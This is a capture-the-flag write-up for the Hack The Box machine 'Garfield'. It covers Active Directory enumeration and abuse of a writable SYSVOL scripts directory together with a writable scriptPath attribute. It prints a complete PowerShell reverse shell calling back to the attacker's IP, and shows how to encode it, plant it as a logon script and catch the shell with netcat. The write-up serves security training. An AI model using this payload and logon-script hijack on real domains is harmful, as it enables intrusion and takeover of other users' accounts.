# HTB: Garfield Writeup

**Garfield** is a **hard-difficulty Windows machine** that proves you don’t need a Domain Admin account to make a domain administrator’s day very bad.

We start with a set of *valid credentials* which quickly turns into an investigation involving *writable SYSVOL permissions*, *delegated Active Directory privileges*, an *unexpected network pivot* and a rather *interesting Read-Only Domain Controller*. Along the way, *Kerberos delegation*, *RODC-specific Golden Tickets* and *Password Replication Policy weaknesses* all play their part in taking the attack from a humble user shell to full domain compromise.

The real challenge isn’t finding one vulnerability; it’s connecting several seemingly unrelated misconfigurations and understanding how they work together. So, let’s follow the breadcrumbs. Garfield has quite a few secrets and apparently, not all of them are buried in the litter box.

---

## About

- **OS:** Windows
- **Difficulty:** Hard
- **Release Date:** 04 Apr, 2026

---

## Machine Information

- Initial Username — `j.arbuckle`
- Initial Password — `Th1sD4mnC4t!@1978`
- Target IP Address — `10.129.151.33`
- Attacker IP Address — `10.10.14.162`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8fa6f610-b93e-42f7-8998-99d9564c3659.png align="center")

## Workspace Preparation

- Before beginning enumeration, a dedicated working directory is created to keep the assessment organized. A separate file is also prepared to store the initial credentials supplied for the machine:

```sh
mkdir Garfield && cd Garfield
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/26befe70-5457-4fde-8cc3-a30a08c2656e.png align="center")

## Connectivity Verification

- Before proceeding with service enumeration, the target’s network availability is verified:

```sh
ping -c 3 10.129.151.33 
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/743740f1-0afc-4e2a-a34e-c7f9546ef3c8.png align="center")

- All three ICMP Echo Requests receive responses, confirming that the target is reachable over the network.
- The `ttl=127` value is also consistent with a Windows system whose initial TTL is typically `128`.Although TTL values can provide an operating-system fingerprinting clue, they should not be treated as definitive evidence of the target’s operating system.

## Network Enumeration

- An initial TCP port scan is performed using Nmap to identify open ports, determine the services running on them and gather additional information about the target:

```sh
sudo nmap -sCV --reason -oN garfield.nmap 10.129.151.33
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/be47dc19-4128-489d-a8ca-dd460fcb2f11.png align="center")

### Understanding the Exposed Services

- `Port 53 (DNS)` — Handles domain name resolution and DNS-related queries.
- `Port 88 (Kerberos)` — Provides domain authentication through the Kerberos protocol.
- `Port 135 (MSRPC)` — Supports Windows Remote Procedure Call communication.
- `Port 139 (NetBIOS)` — Supports legacy Windows network communication and file sharing.
- `Port 389 (LDAP)` — Provides access to Active Directory directory information.
- `Port 445 (SMB)` — Supports Windows file sharing and various domain-related operations.
- `Port 464 (Kerberos Password Change)` — Handles Kerberos password-change operations.
- `Port 593 (RPC over HTTP)` — Provides RPC communication over HTTP.
- `Port 636 (LDAPS)` — LDAP over TLS/SSL.
- `Port 2179 (VMRC)` — Commonly associated with Hyper-V virtual machine remote access.
- `Port 3268 (Global Catalog LDAP)` — Provides forest-wide Active Directory directory searches.
- `Port 3269 (Global Catalog LDAPS)` — Secure Global Catalog LDAP communication.
- `Port 3389 (RDP)` — Provides remote desktop access to Windows systems.
- `Port 5985 (WinRM)` — Provides Windows Remote Management over HTTP.

The combination of **DNS**, **Kerberos**, **LDAP**, **SMB** and **Global Catalog services** strongly suggests that the target is an **Active Directory Domain Controller** rather than an ordinary domain-joined workstation.

### Identifying the Domain Controller

- Additional information is obtained from the **RDP NTLM information script** with the below important pieces of information:
  - **Domain Name**: `garfield.htb`
  - **NetBIOS Domain Name**: `GARFIELD`
  - **Computer Name**: `DC01`
  - **Fully Qualified Domain Name (FQDN)**: `DC01.garfield.htb`
  - **Operating System Build**: `17763`, associated with `Windows Server 2019`

### SMB Security Configuration

- SMB message signing is enabled and required. This means SMB communications must include message signatures to help protect against tampering and certain *adversary-in-the-middle* attacks.

### Clock Skew Observation

- The target’s reported system time is approximately **eight hours** ahead of the attacker’s scanning environment.
- This is particularly relevant in Active Directory environments because **Kerberos authentication** relies on **synchronized clocks**. Significant time differences between a client and a domain controller can cause Kerberos authentication failures.

## Hosts Management

- With the domain name and Domain Controller hostname identified, the next step is to ensure that the attacker’s machine can resolve these names to the target IP address.
- Windows Active Directory environments rely heavily on DNS. Many domain-related operations, including Kerberos authentication and LDAP communication, depend on resolving hostnames correctly.
- The following **NetExec** command generates a hosts file containing the discovered hostname and IP address information:

```sh
nxc smb 10.129.151.33 --generate-hosts-file garfield_hosts
```

- The resulting entries are appended to the attacker’s `/etc/hosts` file:

```sh
cat garfield_hosts | sudo tee -a /etc/hosts
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d834532f-a6cc-4f0f-b8a5-88d31660f65b.png align="center")

- With the hostname mappings in place, tools can communicate with the Domain Controller using its hostname rather than repeatedly specifying its IP address.

## Credential Validation and Authentication Testing

- The initial credentials supplied for the machine are tested against the available network services before proceeding with deeper Active Directory Enumeration.
- This helps establish which authentication mechanisms are accessible and whether the account has permission to use particular remote management services.
- **NetExec** is used to validate the credentials against ***SMB, LDAP, WinRM*** and ***RDP.***

### SMB Authentication

- The first authentication test targets the SMB service running on port `445`:

```sh
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
```

- Authentication is successful. This establishes that the account can successfully authenticate to the Domain Controller over SMB. However, successful authentication does not automatically imply administrative privileges or unrestricted access to SMB resources.

### LDAP Authentication

- Since LDAP is the primary directory access protocol used by Active Directory, the credentials are also tested against LDAP service on port `389`:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
```

- Authentication is successful. This confirms that the account can authenticate to the Active Directory directory service.
- Active Directory stores information about users, groups, computers, organizational units and security permissions in its directory. Consequently, authenticated LDAP access provides an opportunity to investigate the domain’s structure and identify potentially misconfigured objects and permissions.

### WinRM Authentication

- The next service tested is Windows Remote Management (WinRM), exposed on TCP port `5985`:

```sh
nxc winrm DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
```

- WinRM provides remote management capabilities and allow authenticated users to obtain an interactive PowerShell session when the appropriate permissions are assigned.
- Unlike SMB and LDAP, the WinRM authentication attempt fails.
- This does not necessarily indicate that the password is incorrect. The same credentials have already been successfully validated against two other services.
- A more likely explanation is that the account does not have the necessary permissions to access WinRM on the Domain Controller.
- For WinRM access, a user generally needs to be authorized through the appropriate remote management permissions, such as membership in the ***Remote Management Users*** or ***Administrators*** group or an equivalent authorization configuration.
- Therefore, the failed authentication should be interpreted as a limitation in the account’s current remote management access rather than evidence of invalid credentials.

### RDP Authentication

- Finally, the credentials are tested against Remote Desktop Protocol (RDP), which is exposed on TCP port `3389`:

```sh
nxc rdp DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
```

- Authentication is successful. An important distinction exists between successful credential validation and obtaining an interactive desktop session. The **NetExec** result confirms successful RDP authentication, but a full interactive login verified separately using RDP client, is unsuccessful.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/743f772c-1e80-4382-b46a-093f7de76751.png align="center")

- The initial credentials are valid and provide authenticated access to both SMB and LDAP, as well as successful RDP authentication. However, WinRM access is not currently available.

> NOTE: You should be able to distinguish between service-level authentication and the permissions required to establish interactive sessions.

## SMB Share Enumeration

- With the initial credentials validated, the next step is to examine the SMB shares exposed by the Domain Controller. SMB shares can contain useful information such as logon scripts, Group Policy configurations, deployment files and occasionally credentials inadvertently left behind by administrators.
- **NetExec** is used to enumerate the available shares and identify which ones the current account can access.

### Enumerating SMB shares

```sh
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/42e73326-02d2-4cd6-8e92-d6cda1eb5730.png align="center")

- Five SMB shares are identified:
  - `ADMIN$`: An administrative share that provides access to the Windows directory. It is generally restricted to administrators.
  - `C$`: The default administrative share providing access to the system’s `C:` drive.
  - `IPC$`: Used for inter-process communication and certain remote management operations.
  - `NETLOGON`: A domain share commonly used to distribute logon scripts and other domain-related resources.
  - `SYSVOL`: A shared directory used by Domain Controllers to distribute domain-wide files, including Group Policy templates and scripts.
- The account has reported read access to `IPC$`, `NETLOGON` and `SYSVOL`. No permissions are displayed for `ADMIN$` and `C$`, suggesting that the account does not have ordinary share access through the tested credentials.
- Of particular interest are the `NETLOGON` and `SYSVOL` shares. Both can contain scripts and configuration files that provide valuable information about the domain environment.

### Spidering SMB Shares

- Manually browsing every accessible directory can become time-consuming particularly when dealing with larger Active Directory environments.
- To automate this process, **NetExec** provides the `spider_plus` module, which recursively enumerates accessible SMB shares and collects metadata about discovered files and directories:

```sh
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M spider_plus
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9a1f1776-9e87-468e-833a-cd8b2924933b.png align="center")

- The enumeration identifies *3 readable shares*, containing a total of *20 directories* and *8 files*.
- More importantly, the module saves the discovered file metadata in a **JSON file**. This allows the results to be inspected without repeatedly querying the Domain Controller:

```sh
cat /home/nato/.nxc/modules/nxc_spider_plus/10.129.151.33.json
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b0b2b0e8-1bc6-40a8-b3ba-8e6477202ff0.png align="center")

- The same script `printerDetect.bat` appears in both `NETLOGON` and the domain’s `SYSVOL` scripts directory. The presence of the smae script in both locations suggest that it may be maintained or distributed through the domain’s shared directories.
- However, the actual contents and permissions of the directories still need to be investigated.

### NETLOGON Share Enumeration

- The `NETLOGON` share is examined first to determine whether the discovered batch script contains useful information.
- The `smbclient` utility provides an interactive and command-line interface for accessing SMB shares.
- The following command lists the contents of the `NETLOGON` share:

```sh
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
```

- The directory contains only one visible file, `printerDetect.bat`.
- The script is downloaded for inspection:

```sh
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'get printerDetect.bat'
```

- The script is a Windows batch file that uses **Windows Remote Management Instrumentation Command-line (WMIC)** to retrieve information about installed printers.
- Nothing immediately interesting appears in the script.

### Testing NETLOGON Write Permissions

- A small test file is created locally to determine whether the authenticated account can upload files to the share:

```sh
echo "PWNED" > pwn.txt
```

- The file is then uploaded:

```sh
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt pwn.txt'
```

- The upload fails with `NT_STATUS_ACCESS_DENIED`, confirming that the account cannot create the test file in the root of the `NETLOGON` share.
- A subsequent directory listing confirms that the share remains unchanged:

```sh
smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8bfab0bc-17f8-4704-843c-6020922ab112.png align="center")

- The result establishes an important distinction: the account has read access to `NETLOGON`, but does not have permission to write files to its root directory.

### SYSVOL Share Enumeration

- Unlike `NETLOGON`, the `SYSVOL` share contains *domain-wide configuration files*, *Group Policy data* and *scripts* that may be processed by domain-joined systems.
- Because these files can influence how domain computers and users behave, incorrect permissions on `SYSVOL` can have serious security implications.
- The initial directory structure is enumerated using `smbclient`:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
```

- The share contains a directory name `garfield.htb`, which corresponds to the Active Directory domain.
- The next command explores this directory:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\'
```

- Three notable directories are identified:
  - `DfsrPrivate`: Associated with **Distributed File System Replication (DFSR)**, which is used to replicate `SYSVOL` data between Domain Controllers.
  - `Policies`: Contains Group Policy data used to configure users and computers within the domain.
  - `scripts`: Contains domain-related scripts, including the previously discovered `printerDetect.bat`.
- The `scripts` directory becomes particularly interesting because it contains the same batch file discovered earlier in `NETLOGON`.
- Its contents are enumerated:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
```

- The directory currently contains only `printerDetect.bat`.

### Testing SYSVOL Write Permissions

- The previously created test file is uploaded:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt garfield.htb\scripts\pwn.txt'
```

- Unlike the previous attempt, the upload succeeds.
- The directory is inspected again to confirm that the file was created:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3f132e15-6e5e-4b72-874f-8ee2dbbcb4c6.png align="center")

- The presence of `pwn.txt` confirms that the initial domain account can create files in the `SYSVOL\garfield.htb\scripts` directory.
- Although the account has only read access to the `NETLOGON` share, it can write a directory within `SYSVOL`. This demonstrates why share-level permission summaries should not be treated as a complete representation of the effective access; permissions may differ at the individual directory of file level.

### Cleaning Up the Test File

- Since the test has established that the directory is writable, the temporary file is removed to avoid leaving unnecessary artifacts on the target:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'del garfield.htb\scripts\pwn.txt'
```

- The directory is then checked again to verify deletion:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5608fcd8-4e70-46a9-bdf3-0f827abd8241.png align="center")

- The writable **SYSVOL** scripts directory is an important discovery to retain for subsequent investigation.

## Active Directory User Enumeration

- With SMB enumeration complete, the attention shifts to identifying the domain accounts that exist within Garfield.
- **User enumeration** is an essential part of an Active Directory assessment because user accounts may expose useful information through their *descriptions*, *group memberships*, *delegated permissions*, *service principal names* and other directory attributes.
- Since LDAP authentication has already been confirmed, **NetExec** can be used to retrieve domain user information.

### Enumerating Domain Users

- The following command queries **LDAP** for domain user accounts:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users
```

- Of the seven domain accounts, `krbtgt_8245` is particularly interesting because its description identifies it as a Kerberos service account for a **Read-Only Domain Controller (RODC)**.
- Also, `l.wilson_adm` reports two failed password attempts on the `BadPW` column. This indicates that two unsuccessful authentication attempts have been recorded for the account.

### Exporting Domain Users

- For easier reference during subsequent enumeration, the discovered usernames are exported into a local text file:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users-export garfield_users.txt
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/99dca094-1416-4766-9c5d-7af9b96229d6.png align="center")

## Active Directory Computer Enumeration

- In addition to users, identifying domain-joined computers provides insight into the structure of the Active Directory environment:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --computers
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e89d5b96-13d5-4175-b136-98794be2776b.png align="center")

- Two computer accounts are identified:
  - `DC01$`
  - `RODC01$`
- The trailing `$` character is the standard naming convention for Active Directory computer accounts.
- The first account, `DC01$`, corresponds to the Domain Controller already identified during the initial **Nmap** scan.
- The second account, `RODC01$`, is particularly significant. Its name suggest the presence of a **Read-Only Domain Controller (RODC)** within the environment.
- An **RODC** is a specialized type of Domain Controller designed to provide authentication and directory services in locations where a traditional writable Domain Controller may not be desirable.
- Unlike writable Domain Controllers, **RODCs** maintain a read-only copy of the Active Directory database. Their design is intended to reduce the risk associated with deploying Domain Controllers in less physically secure locations.
- **RODCs** also introduce specific security mechanisms, including:
  - *Password Replication Policies (PRPs).*
  - *RODC-specific Kerberos accounts.*
  - *Credential caching restrictions.*
  - *Delegation and authentication controls.*
- The discovery of `RODC01$`, together with earlier discovery of `krbtgt_8245`, provides a strong indication that **RODC-related** functionality will be relevant to the subsequent attack chain.

## Additional Active Directory Enumeration

### AD CS Enumeration

- **Active Directory Certificate Services (AD CS)** is a Microsoft’s **Public Key Infrastructure (PKI)** implementation for issuing and managing digital certificates with an Active Directory environment.
- Misconfigured certificate templates and enrollment permissions can create opportunities for privilege escalation, including scenarios where low-privileged users can obtain certificates that allow them to authenticate as more privileged accounts.
- **NetExec** provides an **AD CS** enumeration module that searches Active Directory for *certificate enrollment services*:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs
```

### Kerberoastable User Enumeration

- **Kerberoasting** is an Active Directory attack technique that targets accounts associated with **Service Principal Names (SPNs)**.
- When a domain account has an **SPN** registered, an authenticated domain user can request a Kerberos service ticket for that account. Depending on the encryption type and account password strength, the ticket can potentially be subjected to offline password cracking.
- **NetExec** can identify **Kerberoastable accounts** and request the corresponding service tickets:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
```

- The enumeration returns **zero** Kerberoastable records.

### AS-REP Roastable User Enumeration

- This technique targets domain accounts configured with the **Do not require Kerberos preauthentication** option.
- Under normal Kerberos authentication, clients must provide preauthentication data before the Key Distribution Center issues an authentication response.
- When preauthentication is disabled for an account, an **unauthenticated party** may be able to request an **AS-REP response** containing material that can be subjected to offline password cracking.
- **NetExec** can check for accounts with this configuration:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
```

- No accounts matching the AS-REP Roasting criteria are identified.

### Group Managed Service Account Enumeration

- **Group Managed Service Accounts (gMSAs)** are specialized Active Directory accounts designed to simplify service account password management.
- Unlike traditional service accounts, **gMSAs** support automatic password management by Active Directory. Their passwords are periodically generated and managed by the domain, reducing the need for administrators to manually maintain service account credentials.
- However, access to a **gMSA**’s managed password must still be controlled carefully. Users or computers with excessive permissions to retrieve these passwords may be able to obtain credentials that expose privileged services.
- **NetExec** provides functionality for checking whether the authenticated account can retrieve **gMSA password** information:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
```

- No credentials were captured.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7218d311-3700-41a9-8ca6-d19993d206b3.png align="center")

## Network Interface Enumeration

- **Network interface** information can provide additional insight into the machine’s network configuration, including multiple network segments, internal addresses and potentially isolated network interfaces.
- **NetExec** can retrieve this information through SMB:

```sh
nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --interfaces
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b68793b-cdd2-40ea-855f-4aa4c7404399.png align="center")

- Two interfaces are discovered:
  - The first interface contains the target’s previously identified IPv4 address `10.129.151.33`. This is the address used to access the Domain Controller from the attacker machine.
  - The second interface contains a different IPv4 address `192.168.100.1`. This address indicates that the Domain Controller has an interface configured on a different network segment.
  - The presence of multiple network interfaces can indicate that a system participates in more than one network. In Active Directory environments, this may be relevant when investigating internal infrastructure, routing and communication between different network segments.

## Active Directory Enumeration

### RustHound-CE

- To obtain a broader picture of the domain, **RustHound-CE** is used to collect Active Directory information:

```sh
rusthound-ce -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -z
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/312faa8a-2f97-4f10-a26f-e19a50605a1b.png align="center")

- The collection produces an archive containing the gathered Active Directory data. This archive can now be imported into **BloodHound** for *relationship analysis*.

### BloodHound

- BloodHound provides a graphical representation of Active Directory objects and their relationships. It is particularly useful for identifying permissions that may not be immediately obvious from basic user and group enumeration.
- Starting BloodHound:

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b7a0f8c-0a53-4413-8767-ed0f3dc81445.png align="center")

- Log in to **BloodHound**, upload the archive generated by **RustHound-CE** and allow the *ingestion* process to finish before exploring the collected data.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c1663e6a-7f46-43da-9c0b-ad0b852588a6.png align="center")

### Examining J.ARBUCKLE

- The graph show that `J.ARBUCKLE` is a member of:
  - `IT SUPPORT`
  - `DOMAIN USERS`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/133f822e-6cb9-4f69-a649-ed76737809a2.png align="center")

- The `inbound Object Control` relationships do not reveal anything particularly interesting.
- However, membership in `IT SUPPORT` becomes significant when examining the permissions associated with the group.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/eb9d47e8-5129-4976-94cf-ffe3ea36222b.png align="center")

### Examining L.WILSON

- The account belongs to:
  - `DOMAIN USERS`
  - `REMOTE MANAGEMENT USERS`
  - `REMOTE DESKTOP USERS`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4747c049-1ca0-41e9-b0e0-57deb8f8013a.png align="center")

- The important finding appears under `Outbound Object Control`:
- `L.WILSON` has the `ForceChangePassword` permission over `L.WILSON_ADM`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0f6094c2-03ec-403f-8076-de0ef16612c7.png align="center")

- This means that the account can reset the password of `L.WILSON_ADM` without knowing the account’s existing password, provided the permission is effective and the required conditions are met.

### Examining L.WILSON_ADM

- The `L.WILSON_ADM` account is a member of:
  - `TIER 1`
  - `DOMAIN USERS`
  - `REMOTE MANAGEMENT USERS`
  - `REMOTE DESKTOP USERS`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/329e2cee-cd57-4f33-b3d7-3d349ce4a31d.png align="center")

- Its `Outbound Object Control` relationships reveal several interesting permissions:
  - It belongs to `TIER 1` group
  - It has the `AddSelf` right over `RODC ADMINSITRATORS`.
  - It has `WriteAccountRestrictions` over `RODC01.GARFIELD.HTB`
  - It has `ForceChangePassword` over `RODC01.GARFIELD.HTB`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/72608b18-7a09-4542-ace2-4c861b047e65.png align="center")

- These relationships suggest that `L.WILSON_ADM` may provide a route toward controlling the **Read-Only Domain Controller (RODC)**.

### Examining RODC01

- The computer account is a member of:
  - `READ-ONLY DOMAIN CONTROLLER`
  - `DENIED RODC PASSWORD REPLICATION GROUP`

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e1e87ba8-5217-4aec-838c-181b89649a97.png align="center")

- Its `Outbound Object Control` relationship shows that `RODC01.GARFIELD.HTB` has `ForceChangePassword` over `KRBTGT_8245`.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/814a6083-ca13-4834-a77d-e5a54f61242a.png align="center")

## Investigating Writable Active Directory Permissions

### BloodyAD

- **BloodyAD** is used to enumerate the objects and attributes that the initial account can modify:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/97e9256e-ea80-45cc-8eea-605717a5f0ab.png align="center")

- Several entries are worth investigating, particularly the objects belonging to `Liz Wilson` and `Liz Wilson ADM`.
- However, a **Generic WRITE** permission does not immediately explain which attributes can be modified. The next step is to inspect the permissions at the **attribute level**.

### Inspecting the Specific Writable Attributes

- **BloodyAD** provides a `— detail` option that exposes the individual attributes associated with the discovered permissions:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable --detail
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/727222fd-a8ce-49fd-9fa6-3e696ce14a6d.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/205e4f36-4956-4777-9e4a-edec673f08cf.png align="center")

- The important discovery is that the `scriptPath` attribute is writable on several user objects, including:
  - `Guest`
  - `krbtgt_8245`
  - `Liz Wilson`
  - `Liz Wilson ADM`
- The `scriptPath` attribute stores the path to a user’s logon script. When configured and processed during a successful logon, the referenced script can execute in that user’s context.
- This creates an opportunity to influence what get executed when `l.wilson` logs in.

## Identifying the Source of the ScriptPath Permission

### NetExec DACL Enumeration

- **NetExec’s** `daclread` module can be used to inspect the **Discretionary Access Control List (DACL)** of an Active Directory Object:

```sh
nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='j.arbuckle' PRINCIPAL='IT SUPPORT'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6a14d7b2-a4d8-4066-8a72-440cbb764acf.png align="center")

- This explains the earlier **BloodyAD** results. Because `j.arbuckle` belongs to `IT SUPPORT`, the account inherits the group’s ability to read and write the `scriptPath` attribute on applicable user objects.

### Verifying with Impacket’s dacledit

- The same **DACL** can be inspected using **impacket’s dacledit** utility:

```sh
impacket-dacledit -principal 'IT SUPPORT' -target j.arbuckle -action 'read' 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9998446a-fe68-4729-a989-bdd152ef97c3.png align="center")

- Both tools identify the same permission: `IT SUPPORT` has `ReadProperty` and `WriteProperty` rights over the `scriptPath` attribute on applicable user objects.

## Gaining a Shell as l.wilson

- The previous enumeration uncovered two findings worth investigating further:
  - The `IT SUPPORT` group has **write permissions** over the `scriptPath` attribute on user objects.
  - The `garfield.htb/scripts` directory inside `SYSVOL` is writable using the initial account `j.arbuckle`.
- These findings create an interesting attack path. If a user account’s logon script configuration can be modified and a script can be placed in a location from which it can be accessed during logon, the script can potentially be used to execute commands in that user’s security context.

### Preparing the Reverse Shell Payload

- A reverse shell allows the compromised Windows host to establish an outbound connection to the attacker’s machine, providing an interactive command session.
- A payload is generated using `revshell` (`revshells.com`)with the **attacker’s IP address** and a **listening port** configured:
- The generated PowerShell payload is saved as `rev.ps1`:

```sh
$LHOST = "10.10.14.162"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

- The payload creates a TCP connection to the attacker’s machine, read commands received over that connection, executes them using `Invoke-Expression` and sends the resulting output back through the established connection.
- To prepare the payload for PowerShell’s encoded-command execution option, it is converted to `UTF-16LE` and then `Base64-encoded`:

```sh
cat rev.ps1 | iconv -t utf-16le | base64 -w0
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e137a88b-d0c4-42ac-8d77-b5391276f1f2.png align="center")

> The conversion is important because PowerShell’s — `EncodedCommand` option expects **Base64-encoded** command text in `UTF-16LE` format. Encoding the payload also makes it easier to embed in a command or **batch file** without dealing with the original script’s quoting and special characters.

### Uploading the Payload to SYSVOL

- First, confirm the contents of the scrips directory:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
```

- The reverse shell payload has been prepared as `**rev.bat**`. It can now be uploaded to the same directory:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put rev.bat garfield.htb/scripts/rev.bat'
```

- The upload succeeds.
- Verify that the file is present:

```sh
smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/99aba5b5-b3a6-4946-9a97-506a9543462c.png align="center")

- The payload is now available in `SYSVOL`.

### Setting Up a Listener

- Start a `Netcat` listener on the attacker’s machine:

```sh
rlwrap -cAr nc -lvnp 9001
```

- The listener waits for an incoming connection
- `rlwrap` provides improved command-line interaction, while Netcat listens on TCP port `9001`.
- The next step is to configure the target account to reference it.

### Checking the Existing scriptPath Value

- Before modifying the attribute, retrieve its current value:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get object l.wilson --attr scriptPath
```

- No `scriptPath` value is displayed, indicating that the attribute is currently unset in the returned result.

### Modifying the scriptPath Attribute

- Since `j.arbuckle` has the required `WriteProperty` permission, **BloodyAD** can be used to set the attribute to the uploaded batch file:

```sh
bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v rev.bat
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/712c194b-bd12-4444-a2a5-a857eaf46712.png align="center")

- The command succeeds. The account’s logon script configuration now references `rev.bat`.
